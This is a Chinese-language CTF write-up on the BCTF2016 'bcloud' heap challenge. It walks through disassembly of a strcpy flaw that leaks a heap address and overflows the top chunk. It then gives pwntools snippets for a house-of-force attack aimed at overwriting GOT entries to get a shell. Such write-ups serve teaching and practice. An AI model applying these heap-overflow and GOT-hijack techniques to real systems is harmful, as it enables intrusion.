> For the complete documentation index, see [llms.txt](https://firmianay.gitbook.io/ctf-all-in-one/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://firmianay.gitbook.io/ctf-all-in-one/6_writeup/pwn/6.1.23_pwn_bctf2016_bcloud.md).

# 6.1.23 pwn BCTF2016 bcloud

* [题目复现](#题目复现)
* [题目解析](#题目解析)
* [漏洞利用](#漏洞利用)
* [参考资料](#参考资料)

[下载文件](https://github.com/firmianay/CTF-All-In-One/blob/master/src/writeup/6.1.23_pwn_bctf2016_bcloud)

## 题目复现

```
$ file bcloud
bcloud: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=96a3843007b1e982e7fa82fbd2e1f2cc598ee04e, stripped
$ checksec -f bcloud
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0               4       bcloud
$ strings libc-2.19.so | grep "GNU C"
GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.7) stable release version 2.19, by Roland McGrath et al.
Compiled by GNU CC version 4.8.2.
```

32 位程序，开启了 Canary 和 NX，默认开启 ASLR。

在 Ubuntu-14.04 上玩一下：

```
$ ./bcloud
Input your name:
AAAA
Hey AAAA! Welcome to BCTF CLOUD NOTE MANAGE SYSTEM!
Now let's set synchronization options.
Org:
1234
Host:
4321
OKay! Enjoy:)
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
1
Input the length of the note content:
10
Input the content:
BBBB
Create success, the id is 0
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
2
WTF? Something strange happened.
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
3
Input the id:
0
Input the new content:
CCCC
Edit success.
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
4
Input the id:
0
Delete success.
1.New note
2.Show note
3.Edit note
4.Delete note
5.Syn
6.Quit
option--->>
5
Syncing...
Synchronization success.
```

典型的堆利用程序，实现了添加、修改、删除的功能，显示功能未实现。另外还有个同步，不知道做什么用。在打印菜单之前，程序读入 name 并打印了出来，这个很有意思，可能是为了信息泄漏故意设置的。

## 题目解析

### init

在 main 函数打印菜单之前，有一个初始化函数 `fcn.0804899c`，这个函数又依次调用了函数 `sub.memset_7a1` 和函数 `sub.memset_84e`：

```
[0x08048590]> pdf @ sub.memset_7a1
/ (fcn) sub.memset_7a1 173
|   sub.memset_7a1 ();
|           ; var int local_60h @ ebp-0x60
|           ; var int local_5ch @ ebp-0x5c
|           ; var int local_ch @ ebp-0xc
|           ; var int local_4h @ esp+0x4
|           ; var int local_8h @ esp+0x8
|           ; CALL XREF from 0x080489a2 (fcn.0804899c)
|           0x080487a1      push ebp
|           0x080487a2      mov ebp, esp
|           0x080487a4      sub esp, 0x78                               ; 开辟栈空间
|           0x080487a7      mov eax, dword gs:[0x14]                   ; [0x14:4]=-1 ; 20
|           0x080487ad      mov dword [local_ch], eax
|           0x080487b0      xor eax, eax
|           0x080487b2      lea eax, [local_5ch]                        ; eax = local_5ch
|           0x080487b5      add eax, 0x40                               ; eax = local_5ch + 0x40
|           0x080487b8      mov dword [local_60h], eax                  ; [local_60h] = local_5ch + 0x40
|           0x080487bb      mov dword [local_8h], 0x50                 ; 'P' ; [0x50:4]=-1 ; 80
|           0x080487c3      mov dword [local_4h], 0
|           0x080487cb      lea eax, [local_5ch]
|           0x080487ce      mov dword [esp], eax
|           0x080487d1      call sym.imp.memset                         ; memset(local_5ch, 0, 0x50) 初始化内存
|           0x080487d6      mov dword [esp], str.Input_your_name:      ; [0x8048e87:4]=0x75706e49 ; "Input your name:"
|           0x080487dd      call sym.imp.puts                          ; int puts(const char *s)
|           0x080487e2      mov dword [local_8h], 0xa
|           0x080487ea      mov dword [local_4h], 0x40                 ; '@' ; [0x40:4]=-1 ; 64
|           0x080487f2      lea eax, [local_5ch]
|           0x080487f5      mov dword [esp], eax
|           0x080487f8      call sub.read_68d                           ; read_68d(local_5ch, 0x40, 0xa) 调用函数读入 0x40 个字节 到栈
|           0x080487fd      mov dword [esp], 0x40                      ; '@' ; [0x40:4]=-1 ; 64
|           0x08048804      call sym.imp.malloc                         ; malloc(0x40) 分配空间
|           0x08048809      mov edx, eax
|           0x0804880b      mov eax, dword [local_60h]                  ; eax = local_5ch + 0x40
|           0x0804880e      mov dword [eax], edx                        ; 将返回地址放到 [local_5ch + 0x40]，该地址位于栈上
|           0x08048810      mov eax, dword [local_60h]
|           0x08048813      mov eax, dword [eax]
|           0x08048815      mov dword [0x804b0cc], eax                  ; 将返回地址放到 [0x804b0cc]，该地址位于 .bss 段
|           0x0804881a      mov eax, dword [local_60h]
|           0x0804881d      mov eax, dword [eax]
|           0x0804881f      lea edx, [local_5ch]
|           0x08048822      mov dword [local_4h], edx
|           0x08048826      mov dword [esp], eax                        ; [esp] 为返回地址
|           0x08048829      call sym.imp.strcpy                         ; strcpy([esp], local_5ch) 将读入的字符串复制到分配的空间上
|           0x0804882e      mov eax, dword [local_60h]
|           0x08048831      mov eax, dword [eax]
|           0x08048833      mov dword [esp], eax
|           0x08048836      call sub.Hey__s__Welcome_to_BCTF_CLOUD_NOTE_MANAGE_SYSTEM_779   ; 调用函数打印出字符串
|           0x0804883b      mov eax, dword [local_ch]
|           0x0804883e      xor eax, dword gs:[0x14]
|       ,=< 0x08048845      je 0x804884c
|       |   0x08048847      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x08048845 (sub.memset_7a1)
|       `-> 0x0804884c      leave
\           0x0804884d      ret
```

所以该函数所读入的字符串是先放在栈上，然后复制到堆。最后调用一个函数打印出了堆上的字符串。

来看一下读入字符串的函数 `sub.read_68d`：

```
[0x08048590]> pdf @ sub.read_68d
/ (fcn) sub.read_68d 124
|   sub.read_68d (int arg_8h, int arg_ch, int arg_10h);
|           ; var int local_1ch @ ebp-0x1c
|           ; var int local_dh @ ebp-0xd
|           ; var int local_ch @ ebp-0xc
|           ; arg int arg_8h @ ebp+0x8
|           ; arg int arg_ch @ ebp+0xc
|           ; arg int arg_10h @ ebp+0x10
|           ; var int local_4h @ esp+0x4
|           ; var int local_8h @ esp+0x8
|           ; XREFS: CALL 0x080487f8  CALL 0x080488d4  CALL 0x080488fe  CALL 0x08048737  CALL 0x08048a79  CALL 0x08048b4f  
|           0x0804868d      push ebp
|           0x0804868e      mov ebp, esp
|           0x08048690      sub esp, 0x28                              ; '('
|           0x08048693      mov eax, dword [arg_10h]                    ; 第三个参数
|           0x08048696      mov byte [local_1ch], al                    ; 通过后面的程序可知这里是换行符 "\x0a"
|           0x08048699      mov dword [local_ch], 0
|           0x080486a0      mov dword [local_ch], 0                     ; 循环计数 i，初始化为 0
|       ,=< 0x080486a7      jmp 0x80486f1
|       |   ; JMP XREF from 0x080486f7 (sub.read_68d)
|      .--> 0x080486a9      mov dword [local_8h], 1
|      :|   0x080486b1      lea eax, [local_dh]
|      :|   0x080486b4      mov dword [local_4h], eax
|      :|   0x080486b8      mov dword [esp], 0
|      :|   0x080486bf      call sym.imp.read                           ; read(0, [local_dh], 1) 读入一个字节
|      :|   0x080486c4      test eax, eax
|     ,===< 0x080486c6      jg 0x80486d4                                ; 读入成功时跳转
|     |:|   0x080486c8      mov dword [esp], 0xffffffff                ; [0xffffffff:4]=-1 ; -1
|     |:|   0x080486cf      call sym.imp.exit                           ; exit(-1) 否则退出
|     |:|   ; JMP XREF from 0x080486c6 (sub.read_68d)
|     `---> 0x080486d4      movzx eax, byte [local_dh]
|      :|   0x080486d8      cmp al, byte [local_1ch]                    ; 将读入字节与换行符比较
|     ,===< 0x080486db      jne 0x80486df                               ; 不相等时跳转
|    ,====< 0x080486dd      jmp 0x80486f9                               ; 否则退出循环
|    ||:|   ; JMP XREF from 0x080486db (sub.read_68d)
|    |`---> 0x080486df      mov edx, dword [local_ch]                   ; 取出 i
|    | :|   0x080486e2      mov eax, dword [arg_8h]                     ; 第一个参数，即 buf 的位置
|    | :|   0x080486e5      add edx, eax                                ; buf[i]
|    | :|   0x080486e7      movzx eax, byte [local_dh]
|    | :|   0x080486eb      mov byte [edx], al                          ; 将读入字节放到 buf[i]
|    | :|   0x080486ed      add dword [local_ch], 1                     ; i = i + 1
|    | :|   ; JMP XREF from 0x080486a7 (sub.read_68d)
|    | :`-> 0x080486f1      mov eax, dword [local_ch]
|    | :    0x080486f4      cmp eax, dword [arg_ch]                     ; i 与第二个参数比较
|    | `==< 0x080486f7      jl 0x80486a9                                ; 小于时循环继续
|    |      ; JMP XREF from 0x080486dd (sub.read_68d)
|    `----> 0x080486f9      mov edx, dword [local_ch]
|           0x080486fc      mov eax, dword [arg_8h]                     ; 取出 buf 的位置
|           0x080486ff      add eax, edx                                ; buf[i]
|           0x08048701      mov byte [eax], 0                           ; 将 "\x00" 放到 buf[i]
|           0x08048704      mov eax, dword [local_ch]                   ; 返回 i
|           0x08048707      leave
\           0x08048708      ret
```

乍看之下似乎没有问题，在读入字符串末尾也加上了截断 `\x00`。

但是，注意观察读入字符串和 malloc 返回地址在栈上的位置关系。字符串其实地址 `local_5ch`，最多 0x40 个字节，返回地址位于 `local_5ch + 0x40`，所以如果我们正好读入 0x40 字节，则 `\x00` 会被放到 `local_5ch + 0x41` 的位置，然后正好被返回地址给覆盖掉了。由于函数 `strcpy()` 是以 `\x00` 来决定字符串结尾的，所以字符串连上返回地址会被一起复制到堆上。然后又被一起打印出来。于是我们就得到了堆地址。

继续看函数 `sub.memset_84e`：

```
[0x08048590]> pdf @ sub.memset_84e
/ (fcn) sub.memset_84e 334
|   sub.memset_84e ();
|           ; var int local_a8h @ ebp-0xa8
|           ; var int local_a4h @ ebp-0xa4
|           ; var int local_a0h @ ebp-0xa0
|           ; var int local_9ch @ ebp-0x9c
|           ; var int local_ch @ ebp-0xc
|           ; var int local_4h @ esp+0x4
|           ; var int local_8h @ esp+0x8
|           ; CALL XREF from 0x080489a7 (fcn.0804899c)
|           0x0804884e      push ebp
|           0x0804884f      mov ebp, esp
|           0x08048851      sub esp, 0xb8                               ; 开辟栈空间
|           0x08048857      mov eax, dword gs:[0x14]                   ; [0x14:4]=-1 ; 20
|           0x0804885d      mov dword [local_ch], eax
|           0x08048860      xor eax, eax
|           0x08048862      lea eax, [local_9ch]                        ; eax = local_9ch
|           0x08048868      add eax, 0x40                               ; eax = local_9ch + 0x40
|           0x0804886b      mov dword [local_a8h], eax                  ; [local_a8h] = local_9ch + 0x40
|           0x08048871      lea eax, [local_9ch]                        ; eax = local_9ch
|           0x08048877      add eax, 0x44                               ; eax = local_9ch + 0x44
|           0x0804887a      mov dword [local_a4h], eax                  ; [local_a4h] = local_9ch + 0x44
|           0x08048880      lea eax, [local_9ch]                        ; eax = local_9ch
|           0x08048886      add eax, 0x88                               ; eax = local_9ch + 0x88
|           0x0804888b      mov dword [local_a0h], eax                  ; [local_a0h] = local_9ch + 0x88
|           0x08048891      mov dword [local_8h], 0x90                 ; [0x90:4]=-1 ; 144
|           0x08048899      mov dword [local_4h], 0
|           0x080488a1      lea eax, [local_9ch]
|           0x080488a7      mov dword [esp], eax
|           0x080488aa      call sym.imp.memset                         ; memset(local_9ch, 0, 0x90) 初始化内存
|           0x080488af      mov dword [esp], str.Org:                  ; [0x8048e98:4]=0x3a67724f ; "Org:"
|           0x080488b6      call sym.imp.puts                          ; int puts(const char *s)
|           0x080488bb      mov dword [local_8h], 0xa
|           0x080488c3      mov dword [local_4h], 0x40                 ; '@' ; [0x40:4]=-1 ; 64
|           0x080488cb      lea eax, [local_9ch]
|           0x080488d1      mov dword [esp], eax
|           0x080488d4      call sub.read_68d                           ; read_68d(local_9ch, 0x40, 0xa) 调用函数读入 Org 到栈
|           0x080488d9      mov dword [esp], str.Host:                 ; [0x8048e9d:4]=0x74736f48 ; "Host:"
|           0x080488e0      call sym.imp.puts                          ; int puts(const char *s)
|           0x080488e5      mov dword [local_8h], 0xa
|           0x080488ed      mov dword [local_4h], 0x40                 ; '@' ; [0x40:4]=-1 ; 64
|           0x080488f5      mov eax, dword [local_a4h]
|           0x080488fb      mov dword [esp], eax
|           0x080488fe      call sub.read_68d                           ; read_68d(local_9ch + 0x44, 0x40, 0xa) 调用函数读入 Host 到栈
|           0x08048903      mov dword [esp], 0x40                      ; '@' ; [0x40:4]=-1 ; 64
|           0x0804890a      call sym.imp.malloc                         ; addr1 = malloc(0x40) 分配空间
|           0x0804890f      mov edx, eax
|           0x08048911      mov eax, dword [local_a0h]                  ; eax = local_9ch + 0x88
|           0x08048917      mov dword [eax], edx                        ; 将返回地址 addr1 放到 [local_9ch + 0x88]
|           0x08048919      mov dword [esp], 0x40                      ; '@' ; [0x40:4]=-1 ; 64
|           0x08048920      call sym.imp.malloc                         ;  addr2 = malloc(0x40) 分配空间
|           0x08048925      mov edx, eax
|           0x08048927      mov eax, dword [local_a8h]                  ; eax = local_9ch + 0x40
|           0x0804892d      mov dword [eax], edx                        ; 将返回地址 addr2 放到 [local_9ch + 0x40]
|           0x0804892f      mov eax, dword [local_a8h]
|           0x08048935      mov eax, dword [eax]
|           0x08048937      mov dword [0x804b0c8], eax                  ; 将返回地址 addr2 放到 [0x804b0c8]
|           0x0804893c      mov eax, dword [local_a0h]
|           0x08048942      mov eax, dword [eax]
|           0x08048944      mov dword [0x804b148], eax                  ; 将返回地址 addr1 放到 [0x804b148]
|           0x08048949      mov eax, dword [local_a0h]
|           0x0804894f      mov eax, dword [eax]
|           0x08048951      mov edx, dword [local_a4h]
|           0x08048957      mov dword [local_4h], edx
|           0x0804895b      mov dword [esp], eax
|           0x0804895e      call sym.imp.strcpy                         ; strcpy(addr1, local_9ch + 0x44) 复制 Host 到 addr1
|           0x08048963      mov eax, dword [local_a8h]
|           0x08048969      mov eax, dword [eax]
|           0x0804896b      lea edx, [local_9ch]
|           0x08048971      mov dword [local_4h], edx
|           0x08048975      mov dword [esp], eax
|           0x08048978      call sym.imp.strcpy                         ; strcpy(addr2, local_9ch) 复制 Org 到 addr2
|           0x0804897d      mov dword [esp], str.OKay__Enjoy:          ; [0x8048ea3:4]=0x79614b4f ; "OKay! Enjoy:)"
|           0x08048984      call sym.imp.puts                          ; int puts(const char *s)
|           0x08048989      mov eax, dword [local_ch]
|           0x0804898c      xor eax, dword gs:[0x14]
|       ,=< 0x08048993      je 0x804899a
|       |   0x08048995      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x08048993 (sub.memset_84e)
|       `-> 0x0804899a      leave
\           0x0804899b      ret
```

同样的，Host 的返回地址放在 `local_9ch + 0x88` 的位置，而字符串最多到 `local_9ch + 0x44 + 0x40`，中间还间隔了 0x4 字节，所以不存在漏洞。但是 Org 的返回地址放在 `local_9ch + 0x40`，正好位于字符串的后面，所以存在漏洞。同时 Host 的字符串又正好位于 Org 返回地址的后面，所以 strcpy 会将 Org 字符串，返回地址和 Host 字符串全都复制到 Org 的堆上，造成堆溢出。利用这个堆溢出我们可以修改 top chunk 的 size，即 house-of-force。

当然这种漏洞有一定的几率不会成功，比如返回地址的低位本来就是 `\x00` 的时候，就恰好截断了。

### New note

```
[0x08048590]> pdf @ sub.Input_the_length_of_the_note_content:_9ae
/ (fcn) sub.Input_the_length_of_the_note_content:_9ae 244
|   sub.Input_the_length_of_the_note_content:_9ae (int arg_9h, int arg_ah);
|           ; var int local_10h @ ebp-0x10
|           ; var int local_ch @ ebp-0xc
|           ; arg int arg_9h @ ebp+0x9
|           ; arg int arg_ah @ ebp+0xa
|           ; CALL XREF from 0x08048d11 (main + 144)
|           0x080489ae      push ebp
|           0x080489af      mov ebp, esp
|           0x080489b1      sub esp, 0x28                              ; '('
|           0x080489b4      mov dword [local_ch], 0
|           0x080489bb      mov dword [local_10h], 0
|           0x080489c2      mov dword [local_10h], 0                    ; 循环计数 i，初始化为 0
|       ,=< 0x080489c9      jmp 0x80489df
|       |   ; JMP XREF from 0x080489e3 (sub.Input_the_length_of_the_note_content:_9ae)
|      .--> 0x080489cb      mov eax, dword [local_10h]
|      :|   0x080489ce      mov eax, dword [eax*4 + 0x804b120]          ; 取出 notes[i]
|      :|   0x080489d5      test eax, eax
|     ,===< 0x080489d7      jne 0x80489db                               ; 当 notes[i] 不为 0 时继续循环
|    ,====< 0x080489d9      jmp 0x80489e5                               ; 否则跳出循环
|    ||:|   ; JMP XREF from 0x080489d7 (sub.Input_the_length_of_the_note_content:_9ae)
|    |`---> 0x080489db      add dword [local_10h], 1                    ; i = i + 1
|    | :|   ; JMP XREF from 0x080489c9 (sub.Input_the_length_of_the_note_content:_9ae)
|    | :`-> 0x080489df      cmp dword [local_10h], 9                    ; 最多有 10 个 note
|    | `==< 0x080489e3      jle 0x80489cb                               ; i <= 9 时循环继续
|    |      ; JMP XREF from 0x080489d9 (sub.Input_the_length_of_the_note_content:_9ae)
|    `----> 0x080489e5      cmp dword [local_10h], 0xa                 ; [0xa:4]=-1 ; 10
|       ,=< 0x080489e9      jne 0x80489fc                               ; i 不等于 10 时跳转
|       |   0x080489eb      mov dword [esp], str.Lack_of_space._Upgrade_your_account_with_just__100_:
|       |   0x080489f2      call sym.imp.puts                          ; int puts(const char *s)
|      ,==< 0x080489f7      jmp 0x8048aa0                               ; 否则函数返回
|      ||   ; JMP XREF from 0x080489e9 (sub.Input_the_length_of_the_note_content:_9ae)
|      |`-> 0x080489fc      mov dword [esp], str.Input_the_length_of_the_note_content: ; [0x8048eec:4]=0x75706e49
|      |    0x08048a03      call sym.imp.puts                          ; int puts(const char *s)
|      |    0x08048a08      call sub.atoi_709                           ; 调用函数读入 length
|      |    0x08048a0d      mov dword [local_ch], eax                   ; 将 length 放到 [local_ch]
|      |    0x08048a10      mov eax, dword [local_ch]
|      |    0x08048a13      add eax, 4                                  ; length = length + 4
|      |    0x08048a16      mov dword [esp], eax
|      |    0x08048a19      call sym.imp.malloc                         ; malloc(length + 4) 为 note 分配空间
|      |    0x08048a1e      mov edx, eax
|      |    0x08048a20      mov eax, dword [local_10h]                  ; eax = i
|      |    0x08048a23      mov dword [eax*4 + 0x804b120], edx          ; 将 note 地址放到 notes[i]
|      |    0x08048a2a      mov eax, dword [local_10h]
|      |    0x08048a2d      mov eax, dword [eax*4 + 0x804b120]          ; 取出 notes[i]
|      |    0x08048a34      test eax, eax
|      |,=< 0x08048a36      jne 0x8048a44                               ; notes[i] 不为 0 时跳转
|      ||   0x08048a38      mov dword [esp], 0xffffffff                ; [0xffffffff:4]=-1 ; -1
|      ||   0x08048a3f      call sym.imp.exit                           ; exit(-1) 否则退出程序
|      ||   ; JMP XREF from 0x08048a36 (sub.Input_the_length_of_the_note_content:_9ae)
|      |`-> 0x08048a44      mov eax, dword [local_10h]
|      |    0x08048a47      mov edx, dword [local_ch]
|      |    0x08048a4a      mov dword [eax*4 + 0x804b0a0], edx          ; lengths[i] = length
|      |    0x08048a51      mov dword [esp], str.Input_the_content:    ; [0x8048f12:4]=0x75706e49 ; "Input the content:"
|      |    0x08048a58      call sym.imp.puts                          ; int puts(const char *s)
|      |    0x08048a5d      mov eax, dword [local_10h]
|      |    0x08048a60      mov eax, dword [eax*4 + 0x804b120]         ; [0x804b120:4]=0
|      |    0x08048a67      mov dword [esp + 8], 0xa
|      |    0x08048a6f      mov edx, dword [local_ch]
|      |    0x08048a72      mov dword [esp + 4], edx                    ; [esp + 4] = length
|      |    0x08048a76      mov dword [esp], eax                        ; [esp] = notes[i]
|      |    0x08048a79      call sub.read_68d                           ; read_68d(notes[i], length, 0xa) 调用函数读入 content
|      |    0x08048a7e      mov eax, dword [local_10h]
|      |    0x08048a81      mov dword [esp + 4], eax
|      |    0x08048a85      mov dword [esp], str.Create_success__the_id_is__d ; [0x8048f25:4]=0x61657243 ; "Create success, the id is %d\n"
|      |    0x08048a8c      call sym.imp.printf                        ; int printf(const char *format)
|      |    0x08048a91      mov eax, dword [local_10h]
|      |    0x08048a94      mov dword [eax*4 + 0x804b0e0], 0            ; syns[i] = 0
|      |    0x08048a9f      nop
|      |    ; JMP XREF from 0x080489f7 (sub.Input_the_length_of_the_note_content:_9ae)
|      `--> 0x08048aa0      leave
\           0x08048aa1      ret
```

我们可以得到下面的数据结构：

```c
int *lengths[10];   // 0x804b0a0
int *syns[10];      // 0x804b0e0
int *notes[10];     // 0x804b120
```

三个数组都是通过指标 i 来对应的，分别存放 note 地址，length 及是否同步。

### Edit note

```
[0x08048590]> pdf @ sub.Input_the_id:_ab7
/ (fcn) sub.Input_the_id:_ab7 172
|   sub.Input_the_id:_ab7 (int arg_9h);
|           ; var int local_14h @ ebp-0x14
|           ; var int local_10h @ ebp-0x10
|           ; var int local_ch @ ebp-0xc
|           ; var int local_0h @ ebp-0x0
|           ; arg int arg_9h @ ebp+0x9
|           ; CALL XREF from 0x08048d1f (main + 158)
|           0x08048ab7      push ebp
|           0x08048ab8      mov ebp, esp
|           0x08048aba      sub esp, 0x28                              ; '('
|           0x08048abd      mov dword [local_14h], 0
|           0x08048ac4      mov dword [esp], str.Input_the_id:         ; [0x8048f65:4]=0x75706e49 ; "Input the id:"
|           0x08048acb      call sym.imp.puts                          ; int puts(const char *s)
|           0x08048ad0      call sub.atoi_709                          ; int atoi(const char *str)
|           0x08048ad5      mov dword [local_14h], eax                  ; 读入 i
|           0x08048ad8      cmp dword [local_14h], 0
|       ,=< 0x08048adc      js 0x8048ae4
|       |   0x08048ade      cmp dword [local_14h], 9                   ; [0x9:4]=-1 ; 9
|      ,==< 0x08048ae2      jle 0x8048af2
|      ||   ; JMP XREF from 0x08048adc (sub.Input_the_id:_ab7)
|      |`-> 0x08048ae4      mov dword [esp], str.Invalid_ID.           ; [0x8048f73:4]=0x61766e49 ; "Invalid ID."
|      |    0x08048aeb      call sym.imp.puts                          ; int puts(const char *s)
|      |,=< 0x08048af0      jmp 0x8048b61
|      ||   ; JMP XREF from 0x08048ae2 (sub.Input_the_id:_ab7)
|      ||   ; JMP XREF from 0x08048b00 (sub.Input_the_id:_ab7)
|      `--> 0x08048af2      mov eax, dword [local_14h]                  ; 0 <= i <= 9 时，继续
|       |   0x08048af5      mov eax, dword [eax*4 + 0x804b120]          ; 取出 notes[i]
|       |   0x08048afc      mov dword [local_10h], eax                  ; 将 notes[i] 放到 [local_10h]
|       |   0x08048aff      cmp dword [local_10h], 0
|      ,==< 0x08048b03      jne 0x8048b13                               ; notes[i] 不为 0 时跳转
|      ||   0x08048b05      mov dword [esp], str.Note_has_been_deleted. ; [0x8048f7f:4]=0x65746f4e ; "Note has been deleted."
|      ||   0x08048b0c      call sym.imp.puts                          ; int puts(const char *s)
|     ,===< 0x08048b11      jmp 0x8048b61
|     |`--> 0x08048b13      mov eax, dword [local_14h]
|     | |   0x08048b16      mov eax, dword [eax*4 + 0x804b0a0]          ; 取出 lengths[i]
|     | |   0x08048b1d      mov dword [local_ch], eax                   ; 将 lengths[i] 放到 [local_ch]
|     | |   0x08048b20      mov eax, dword [local_14h]
|     | |   0x08048b23      mov dword [eax*4 + 0x804b0e0], 0            ; 将 syns[i] 赋值为 0
|     | |   0x08048b2e      mov dword [esp], str.Input_the_new_content: ; [0x8048f96:4]=0x75706e49 ; "Input the new content:"
|     | |   0x08048b35      call sym.imp.puts                          ; int puts(const char *s)
|     | |   0x08048b3a      mov dword [esp + 8], 0xa
|     | |   0x08048b42      mov eax, dword [local_ch]
|     | |   0x08048b45      mov dword [esp + 4], eax
|     | |   0x08048b49      mov eax, dword [local_10h]
|     | |   0x08048b4c      mov dword [esp], eax
|     | |   0x08048b4f      call sub.read_68d                           ; read_68d(notes[i], lengths[i], 0xa) 读入新 content 到原位置，长度不变
|     | |   0x08048b54      mov dword [esp], str.Edit_success.         ; [0x8048fad:4]=0x74696445 ; "Edit success."
|     | |   0x08048b5b      call sym.imp.puts                          ; int puts(const char *s)
|     | |   0x08048b60      nop
|     | |   ; JMP XREF from 0x08048af0 (sub.Input_the_id:_ab7)
|     | |   ; JMP XREF from 0x08048b11 (sub.Input_the_id:_ab7)
|     `-`-> 0x08048b61      leave
\           0x08048b62      ret
```

该函数在修改 note 时，先将 syns\[i] 清空，然后读入 lengths\[i] 长度的内容到 notes\[i]。

### Delete note

```
[0x08048590]> pdf @ sub.Input_the_id:_b63
/ (fcn) sub.Input_the_id:_b63 146
|   sub.Input_the_id:_b63 (int arg_9h);
|           ; var int local_10h @ ebp-0x10
|           ; var int local_ch @ ebp-0xc
|           ; var int local_0h @ ebp-0x0
|           ; arg int arg_9h @ ebp+0x9
|           ; CALL XREF from 0x08048d26 (main + 165)
|           0x08048b63      push ebp
|           0x08048b64      mov ebp, esp
|           0x08048b66      sub esp, 0x28                              ; '('
|           0x08048b69      mov dword [local_10h], 0
|           0x08048b70      mov dword [esp], str.Input_the_id:         ; [0x8048f65:4]=0x75706e49 ; "Input the id:"
|           0x08048b77      call sym.imp.puts                          ; int puts(const char *s)
|           0x08048b7c      call sub.atoi_709                          ; int atoi(const char *str)
|           0x08048b81      mov dword [local_10h], eax
|           0x08048b84      cmp dword [local_10h], 0
|       ,=< 0x08048b88      js 0x8048b90
|       |   0x08048b8a      cmp dword [local_10h], 9                   ; [0x9:4]=-1 ; 9
|      ,==< 0x08048b8e      jle 0x8048b9e
|      ||   ; JMP XREF from 0x08048b88 (sub.Input_the_id:_b63)
|      |`-> 0x08048b90      mov dword [esp], str.Invalid_ID.           ; [0x8048f73:4]=0x61766e49 ; "Invalid ID."
|      |    0x08048b97      call sym.imp.puts                          ; int puts(const char *s)
|      |,=< 0x08048b9c      jmp 0x8048bf3
|      ||   ; JMP XREF from 0x08048b8e (sub.Input_the_id:_b63)
|      `--> 0x08048b9e      mov eax, dword [local_10h]                  ; 0 <= i <= 9 时，继续
|       |   0x08048ba1      mov eax, dword [eax*4 + 0x804b120]          ; 取出 notes[i]
|       |   0x08048ba8      mov dword [local_ch], eax                   ; 将 notes[i] 放到 [local_ch]
|       |   0x08048bab      cmp dword [local_ch], 0
|      ,==< 0x08048baf      jne 0x8048bbf                               ; notes[i] 不为 0 时跳转
|      ||   0x08048bb1      mov dword [esp], str.Note_has_been_deleted. ; [0x8048f7f:4]=0x65746f4e ; "Note has been deleted."
|      ||   0x08048bb8      call sym.imp.puts                          ; int puts(const char *s)
|     ,===< 0x08048bbd      jmp 0x8048bf3
|     |||   ; JMP XREF from 0x08048baf (sub.Input_the_id:_b63)
|     |`--> 0x08048bbf      mov eax, dword [local_10h]
|     | |   0x08048bc2      mov dword [eax*4 + 0x804b120], 0            ; 将 notes[i] 置 0
|     | |   0x08048bcd      mov eax, dword [local_10h]
|     | |   0x08048bd0      mov dword [eax*4 + 0x804b0a0], 0            ; 将 lengths[i] 置 0
|     | |   0x08048bdb      mov eax, dword [local_ch]
|     | |   0x08048bde      mov dword [esp], eax
|     | |   0x08048be1      call sym.imp.free                           ; free([local_ch])，释放 note
|     | |   0x08048be6      mov dword [esp], str.Delete_success.       ; [0x8048fbb:4]=0x656c6544 ; "Delete success."
|     | |   0x08048bed      call sym.imp.puts                          ; int puts(const char *s)
|     | |   0x08048bf2      nop
|     | |   ; JMP XREF from 0x08048b9c (sub.Input_the_id:_b63)
|     | |   ; JMP XREF from 0x08048bbd (sub.Input_the_id:_b63)
|     `-`-> 0x08048bf3      leave
\           0x08048bf4      ret
```

该函数首先判断 notes\[i] 是否存在，如果存在则释放 notes\[i] 并将 notes\[i] 和 lengths\[i] 都置 0。不存在悬指针等漏洞。

至于 Syn 功能，就是将 syns\[i] 都置 1，对漏洞利用没有影响。

## 漏洞利用

所以这题的利用思路就是 house-of-force，步骤如下：

* 泄漏 heap 地址
* 利用溢出修改 top chunk 的 size
* 分配一个 chunk，将 top chunk 转移到 lengths 数组前面
* 再次分配 chunk，即可覆盖 notes，并利用 Edit 修改其内容
* 修改 `free@got.plt` 为 `puts@got.plt`，泄漏 libc
* 修改 `atoi@got.plt` 为 `system@got.plt`，得到 shell

### leak heap

```python
def leak_heap():
    global leak

    io.sendafter("name:\n", "A" * 0x40)
    leak = u32(io.recvuntil('! Welcome', drop=True)[-4:])
    log.info("leak heap address: 0x%x" % leak)
```

```
gdb-peda$ x/17wx 0xffffb834
0xffffb834:	0x41414141	0x41414141	0x41414141	0x41414141  <-- stack
0xffffb844:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffb854:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffb864:	0x41414141	0x41414141	0x41414141	0x41414141
0xffffb874:	0x0804c008                                      <-- pointer
gdb-peda$ x/19wx 0x0804c008-0x8
0x804c000:	0x00000000	0x00000049	0x41414141	0x41414141  <-- heap
0x804c010:	0x41414141	0x41414141	0x41414141	0x41414141
0x804c020:	0x41414141	0x41414141	0x41414141	0x41414141
0x804c030:	0x41414141	0x41414141	0x41414141	0x41414141
0x804c040:	0x41414141	0x41414141	0x0804c008              <-- pointer
```

可以看到对指针被复制到了堆中，只要将其打印出来即可。

### house-of-force

```python
def house_of_force():
    io.sendafter("Org:\n", "A" * 0x40)
    io.sendlineafter("Host:\n", p32(0xffffffff))    # overflow

    new((bss_addr - 0x8) - (leak + 0xd0) - 0x8 - 4, 'AAAA') # 0xd0 = top chunk - leak

    payload  = "A" * 0x80
    payload += p32(elf.got['free'])         # notes[0]
    payload += p32(elf.got['atoi']) * 2     # notes[1], notes[2]
    new(0x8c, payload)
```

接下来是 house-of-force，通过溢出修改 top chunk 的 size，可以在下次 malloc 时将 top chunk 转移到任意地址，之后的 chunk 也将依据转移后的 top chunk 来分配。

